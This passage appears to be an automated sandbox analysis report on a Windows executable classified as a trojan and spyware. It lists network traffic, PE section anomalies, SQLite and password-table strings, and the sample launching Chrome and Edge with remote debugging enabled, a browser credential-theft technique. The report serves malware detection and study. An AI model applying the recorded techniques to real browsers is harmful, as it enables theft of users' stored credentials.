Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50124 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA7B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA7B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA7B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA1F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA135A0	0_2_6CA135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA734A0	0_2_6CA734A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C4A0	0_2_6CA7C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA26C80	0_2_6CA26C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1D4E0	0_2_6CA1D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56CF0	0_2_6CA56CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA264C0	0_2_6CA264C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D4D0	0_2_6CA3D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8542B	0_2_6CA8542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8AC00	0_2_6CA8AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55C10	0_2_6CA55C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA62C10	0_2_6CA62C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25440	0_2_6CA25440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8545C	0_2_6CA8545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA785F0	0_2_6CA785F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA50DD0	0_2_6CA50DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2FD00	0_2_6CA2FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3ED10	0_2_6CA3ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA40512	0_2_6CA40512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74EA0	0_2_6CA74EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E680	0_2_6CA7E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35E90	0_2_6CA35E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA876E3	0_2_6CA876E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1BEF0	0_2_6CA1BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2FEF0	0_2_6CA2FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79E30	0_2_6CA79E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65600	0_2_6CA65600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA57E10	0_2_6CA57E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86E63	0_2_6CA86E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1C670	0_2_6CA1C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA34640	0_2_6CA34640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA62E4E	0_2_6CA62E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA39E50	0_2_6CA39E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA53E50	0_2_6CA53E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA677A0	0_2_6CA677A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1DFE0	0_2_6CA1DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46FF0	0_2_6CA46FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA29F00	0_2_6CA29F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA57710	0_2_6CA57710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA460A0	0_2_6CA460A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C0E0	0_2_6CA3C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA558E0	0_2_6CA558E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA850C7	0_2_6CA850C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B820	0_2_6CA5B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64820	0_2_6CA64820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA27810	0_2_6CA27810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5F070	0_2_6CA5F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38850	0_2_6CA38850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D850	0_2_6CA3D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1C9A0	0_2_6CA1C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D9B0	0_2_6CA4D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55190	0_2_6CA55190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72990	0_2_6CA72990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D960	0_2_6CA2D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B970	0_2_6CA6B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B170	0_2_6CA8B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3A940	0_2_6CA3A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA122A0	0_2_6CA122A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA44AA0	0_2_6CA44AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2CAB0	0_2_6CA2CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82AB0	0_2_6CA82AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8BA90	0_2_6CA8BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA31AF0	0_2_6CA31AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5E2F0	0_2_6CA5E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58AC0	0_2_6CA58AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA59A60	0_2_6CA59A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1F380	0_2_6CA1F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA853C8	0_2_6CA853C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D320	0_2_6CA5D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C370	0_2_6CA2C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA15340	0_2_6CA15340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1ECD0	0_2_6CB1ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABECC0	0_2_6CABECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AC30	0_2_6CB9AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86C00	0_2_6CB86C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACAC60	0_2_6CACAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4CDC0	0_2_6CC4CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4DB0	0_2_6CAC4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56D90	0_2_6CB56D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8ED70	0_2_6CB8ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48D20	0_2_6CC48D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEAD50	0_2_6CBEAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46E90	0_2_6CB46E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACAEC0	0_2_6CACAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60EC0	0_2_6CB60EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA0E20	0_2_6CBA0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5EE70	0_2_6CB5EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACEFB0	0_2_6CACEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EFF0	0_2_6CB9EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0FE0	0_2_6CAC0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC08FB0	0_2_6CC08FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6F10	0_2_6CAC6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82F70	0_2_6CB82F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00F20	0_2_6CC00F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2EF40	0_2_6CB2EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC68E0	0_2_6CBC68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10820	0_2_6CB10820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4A820	0_2_6CB4A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94840	0_2_6CB94840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB809B0	0_2_6CB809B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB509A0	0_2_6CB509A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7A9A0	0_2_6CB7A9A0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA594D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA4CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ksqqhkwn ZLIB complexity 0.99493408203125

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/297@28/23

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA77030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA77030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\E8D9OCUA.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\b9a19dcb-9e53-496e-bc0b-4dc82eee35cc.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2348614897.000000001D4E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456630561.000000001D4E5000.00000004.00000020.00020000.00000000.sdmp, BAKJKFHCAEGDHIDGDHDA.0.dr, HIIEBAFCBKFIDGCAKKKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2633258791.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2276,i,10947752675193604870,8748139334359778798,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2308,i,13248434027509961714,6387315998208005900,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6840 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2276,i,10947752675193604870,8748139334359778798,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
